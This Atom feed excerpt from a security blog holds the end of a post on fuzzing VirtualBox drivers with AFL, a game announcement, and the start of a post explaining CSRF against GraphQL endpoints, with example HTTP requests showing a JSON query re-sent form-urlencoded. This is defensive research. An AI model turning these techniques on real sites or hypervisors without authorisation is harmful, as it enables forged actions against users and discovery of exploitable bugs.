        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;szName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;8237A&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;szName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;i82078&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;szName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;serial&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;szName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;oxpcie958uart&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;szName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;parallel&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;szName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;ahci&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;szName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;buslogic&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;szName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;pcibridge&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;szName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;ich9pcibridge&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;szName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;lsilogicscsi&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;szName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;lsilogicsas&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;szName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;virtio-scsi&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;szName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;GIMDev&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;szName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;lpc&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;

       &lt;span class=&quot;cm&quot;&gt;/*
         * Gather a bit of config.
         */&lt;/span&gt;
        &lt;span class=&quot;cm&quot;&gt;/* trusted */&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The most significant issue is that minimizing our test cases is not an option when the stability is low (the percentage depends on the drivers we fuzz). If we cannot reproduce the crash, we can at least intercept it and analyze it afterward in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gdb&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;We ran AFL in debug mode as a workaround, which yields a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;core&lt;/code&gt; file after every crash. Before running the fuzzer, this behavior can be enabled by:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ export AFL_DEBUG=1
$ ulimit -c unlimited
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;We presented one of the possible approaches to fuzzing VirtualBox device drivers. We hope it contributes to a better understanding of VirtualBox internals. For inspiration, I’ll leave you with the quote from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;doc/VBox-CodingGuidelines.cpp&lt;/code&gt;:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-none&quot;&gt; * (2)  &quot;A really advanced hacker comes to understand the true inner workings of
 *      the machine - he sees through the language he's working in and glimpses
 *      the secret functioning of the binary code - becomes a Ba'al Shem of
 *      sorts.&quot;   (Neal Stephenson &quot;Snow Crash&quot;)
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;[1] &lt;a href=&quot;https://starlabs.sg/blog/2020/04/adventures-in-hypervisor-oracle-virtualbox-research/&quot;&gt;Pham Hong Phi, “Adventures in Hypervisor: Oracle VirtualBox Research,” Apr 2020&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;[2] &lt;a href=&quot;https://conference.hitb.org/hitbsecconf2021ams/materials/D2T2%20-%20Discovering%2010+%20Vulnerabilities%20in%20Virtualbox%20-%20Chen%20Nan.pdf&quot;&gt;ChenNan, “Box Escape: Discovering 10+ Vulnerabilities in VirtualBox,” HITB Security Conference, May 2021&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;[3] &lt;a href=&quot;http://blog.paulch.ru/2020-07-26-hunting-for-bugs-in-virtualbox-first-take.html&quot;&gt;Pavel Cheremushkin, “Hunting for bugs in VirtualBox (First Take),” July 2020&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
 </entry>
 
 <entry>
   <title>H1.Jack, The Game</title>
   <link href="https://blog.doyensec.com/2022/02/16/h1jack-the-game.html"/>
   <updated>2022-02-16T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2022/02/16/h1jack-the-game</id>
   <content type="html">&lt;blockquote&gt;
  &lt;p&gt;As crazy as it sounds, we’re releasing a casual free-to-play mobile auto-battler for Android and iOS. We’re not changing line of business - just having fun with computers!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;We believe that the greatest learning lessons come from outside your comfort zone, so whether it is a security audit or a new side hustle we’re always challenging ourself to improve the craft.&lt;/p&gt;

&lt;p&gt;During the fall of 2019, we embarked on a pretty ambitious goal despite the virtually zero experience in game design. We partnered with a &lt;a href=&quot;https://cobble.games/&quot;&gt;small game studio&lt;/a&gt; that was just getting started and decided to combine forces to design and develop a casual mobile game set in the *cyber* space. After many prototypes and changes of direction, we spent a good portion of 2020 spare time to work on the core mechanics and graphics. Unfortunately, the limited time and budget further delayed beta testing and the final release. Making a game is no joke, especially when it is a combined side project for two thriving businesses.&lt;/p&gt;

&lt;p&gt;Despite all, we’re happy to announce the release of &lt;a href=&quot;https://www.h1jack.com/&quot;&gt;H1.Jack&lt;/a&gt; for Android and iOS as a &lt;em&gt;free-to-play&lt;/em&gt; with no advertisement. We hope you’ll enjoy the game in between your commutes and lunch breaks!&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Android: &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.CobbleGames.Hijack&quot;&gt;https://play.google.com/store/apps/details?id=com.CobbleGames.Hijack&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;iOS (iPhone and iPad)  &lt;a href=&quot;https://apps.apple.com/app/hijack-game/id1517609205&quot;&gt;https://apps.apple.com/app/hijack-game/id1517609205&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;No malware included.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.h1jack.com/&quot;&gt;H1.Jack&lt;/a&gt; is a casual mobile auto-battler inspired by cyber security events. Start from the very bottom and spend your money and fame in gaining new techniques and exploits. &lt;em&gt;Heartbleed&lt;/em&gt; or &lt;em&gt;Shellshock&lt;/em&gt; won’t be enough!&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;img src=&quot;../../../public/images/H1jackRoom.png&quot; title=&quot;H1jack Room&quot; alt=&quot;H1jack Room&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/div&gt;

&lt;p&gt;While playing, you might end up talking to John or Luca.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;img src=&quot;../../../public/images/LucaJohnH1jack.png&quot; title=&quot;Luca&amp;amp;John H1jack&quot; alt=&quot;Luca&amp;amp;John H1jack&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/div&gt;

&lt;p&gt;Our monsters are procedurally generated, meaning there will be tons of unique systems, apps, malware and bots to hack. Battle levels are also dynamically generated. If you want a sneak peek, check out the trailer:&lt;/p&gt;

&lt;style&gt;
.videoWrapper {
    position: relative;
    padding-bottom: 56.25%; /* 16:9 */
    padding-top: 25px;
    height: 0;
}
.videoWrapper iframe {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
}
&lt;/style&gt;

&lt;div class=&quot;videoWrapper&quot;&gt;
	&lt;iframe width=&quot;560&quot; height=&quot;349&quot; src=&quot;https://www.youtube.com/embed/-SAYyfAvKtY&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;
&lt;/div&gt;

</content>
 </entry>
 
 <entry>
   <title>That single GraphQL issue that you keep missing</title>
   <link href="https://blog.doyensec.com/2021/05/20/graphql-csrf.html"/>
   <updated>2021-05-20T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2021/05/20/graphql-csrf</id>
   <content type="html">&lt;p&gt;With the increasing popularity of &lt;a href=&quot;https://graphql.org/&quot;&gt;GraphQL&lt;/a&gt; on the web, we would like to discuss a particular class of vulnerabilities that is often hidden in GraphQL implementations.&lt;/p&gt;

&lt;h2 id=&quot;graphql-what&quot;&gt;GraphQL what?&lt;/h2&gt;

&lt;p&gt;GraphQL is an open source query language, loved by many, that can help you in building meaningful APIs.
Its major features are:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Aggregating data from multiple sources&lt;/li&gt;
  &lt;li&gt;Decoupling the data from the database underneath, through a graph form&lt;/li&gt;
  &lt;li&gt;Ensuring input type correctness with minimal effort from the developers&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;csrf-eh&quot;&gt;CSRF eh?&lt;/h2&gt;

&lt;p&gt;Cross Site Request Forgery (&lt;a href=&quot;https://owasp.org/www-community/attacks/csrf&quot;&gt;CSRF&lt;/a&gt;) is a type of attack that occurs when a malicious web application causes a web browser to perform an unwanted action on the behalf of an authenticated user. Such an attack works because browser requests automatically include all cookies, including session cookies.&lt;/p&gt;

&lt;h2 id=&quot;graphql-csrf-more-buzzword-combos-please&quot;&gt;GraphQL CSRF: more buzzword combos please!&lt;/h2&gt;

&lt;h4 id=&quot;post-based-csrf&quot;&gt;POST-based CSRF&lt;/h4&gt;

&lt;p&gt;POST requests are natural CSRF targets, since they usually change the application state. GraphQL endpoints typically  accept &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Content-Type&lt;/code&gt; headers set to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;application/json&lt;/code&gt; only, which is widely believed to be invulnerable to CSRF. As multiple layers of middleware may translate the incoming requests from other formats 	(e.g. query parameters, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;application/x-www-form-urlencoded&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;multipart/form-data&lt;/code&gt;), GraphQL implementations are often affected by CSRF. Another incorrect assumption is that JSON cannot be created from urlencoded requests. When both of these assumptions are made, many developers may incorrectly forego implementing proper CSRF protections.&lt;/p&gt;

&lt;p&gt;The false sense of security works in the attacker’s favor, since it creates an attack surface which is easier to exploit. For example, a valid GraphQL query can be issued with a simple &lt;strong&gt;application/json POST request&lt;/strong&gt;:&lt;/p&gt;

&lt;div class=&quot;language-http highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;POST&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;/graphql&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;HTTP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1.1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Host&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;redacted&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Connection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;close&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Content-Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;100&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;accept&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;*/*&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;User-Agent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;content-type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;application/json&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Referer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;https://redacted/&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Accept-Encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;gzip, deflate&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Accept-Language&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;en-US,en;q=0.9&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Cookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;...&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;operationName&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;variables&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:{},&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;query&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;{&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;  user {&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;    firstName&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;    __typename&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;  }&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It is common, due to middleware magic, to have a server accepting the same request as &lt;strong&gt;form-urlencoded POST request&lt;/strong&gt;:&lt;/p&gt;

&lt;div class=&quot;language-http highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;POST&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;/graphql&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;HTTP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1.1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Host&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;redacted&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Connection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;close&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Content-Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;72&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;accept&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;*/*&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;User-Agent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Content-Type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;application/x-www-form-urlencoded&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Referer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;https://redacted&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Accept-Encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;gzip, deflate&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Accept-Language&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;en-US,en;q=0.9&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Cookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;...&lt;/span&gt;

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Which a seasoned &lt;a href=&quot;https://portswigger.net/burp&quot;&gt;Burp&lt;/a&gt; user can quickly convert to a CSRF PoC through &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Engagement Tools &amp;gt; Generate CSRF PoC&lt;/code&gt;&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
